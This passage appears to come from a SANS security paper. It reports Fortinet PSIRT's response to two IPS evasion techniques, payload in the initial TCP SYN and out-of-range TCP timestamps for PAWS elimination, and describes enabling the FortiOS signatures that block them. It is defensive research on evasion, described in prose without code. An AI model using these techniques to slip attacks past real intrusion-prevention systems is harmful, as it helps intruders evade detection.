Fortinet’s Product Security and Incident Response Team (PSIRT) was contacted regarding these findings. Fortinet PSIRT reported that protection against the attack discussed in section 2.6, sending payload in the initial TCP SYN packet, is available in FortiOS 4.0 MR3 and FortiOS 5.0 under the signature name “TCP.Data.On.Syn”. In testing, it was confirmed that this signature is effective in blocking this evasion technique in FortiOS 4.0 MR3. However, the signature does not work as one might expect. The signature simply drops any initial TCP SYN packet with a payload. Because the TCP RFC allows for payload to be sent on the initial SYN, this is not ideal. Ideally, the IPS would queue up the payload as part of the TCP conversation and, once the three-way handshake is complete, pass the payload on to other signatures for inspection. On the other hand, allowing the IPS to queue up initial TCP SYN packets with payloads might expose the IPS to memory-exhaustion denial of service attacks. It’s possible that there is simply a trade-off to be made here. By default, the signature TCP.Data.On.Syn is disabled, with the detection action set to ‘Pass.’ In order to effectively block this evasion technique, the signature must first be enabled, then action set to ‘Block’ or similar. Fortinet PSIRT did not comment on the evasion technique discussed in section 2.7.1.

Regarding the technique discussed in section 2.7.2, old TCP timestamp destined for PAWS elimination, Fortinet PSIRT reported that protection against this technique is available only in FortiOS 5.0 under the signature name “TCP.Out.Of.Range.Timestamp.” In testing with FortiOS 5.0, it was confirmed that this signature is effective in blocking this evasion technique. It was observed that the signature drops all subsequent packets after an attempt to send duplicate packets with differing TCP timestamps is detected. To enable this signature, you must first set the IPS signature database to ‘extended.’

William McGlasson, william.mcglasson@gmail.com
Instructions can be found in the FortiOS CLI Reference for FortiOS 5.0. Once the IPS signature database is set to ‘extended,’ the TCP.Out.Of.Range.Timestamp signature must be enabled, and action set to ‘Block’ or similar.
# Upcoming Training

<table>
<thead>
<tr>
<th>Event Name</th>
<th>Location</th>
<th>Dates</th>
<th>Type</th>
</tr>
</thead>
<tbody>
<tr>
<td>SANS London October 2020</td>
<td>United Kingdom</td>
<td>Oct 12, 2020 - Oct 17, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS October Singapore 2020 - Live Online</td>
<td>Singapore, Singapore</td>
<td>Oct 12, 2020 - Oct 24, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Dallas Fall 2020</td>
<td>Dallas, TX</td>
<td>Oct 19, 2020 - Oct 24, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS London November 2020</td>
<td>United Kingdom</td>
<td>Nov 02, 2020 - Nov 07, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS San Diego Fall 2020</td>
<td>San Diego, CA</td>
<td>Nov 16, 2020 - Nov 21, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Frankfurt November 2020</td>
<td>Germany</td>
<td>Nov 30, 2020 - Dec 05, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Cyber Defense Initiative 2020</td>
<td>Washington, DC</td>
<td>Dec 14, 2020 - Dec 19, 2020</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS Cyber Security Central Jan 2021</td>
<td></td>
<td>Jan 18, 2021 - Jan 23, 2021</td>
<td>CyberCon</td>
</tr>
<tr>
<td>SANS OnDemand</td>
<td>Online</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
<tr>
<td>SANS SelfStudy</td>
<td>Books &amp; MP3s Only</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>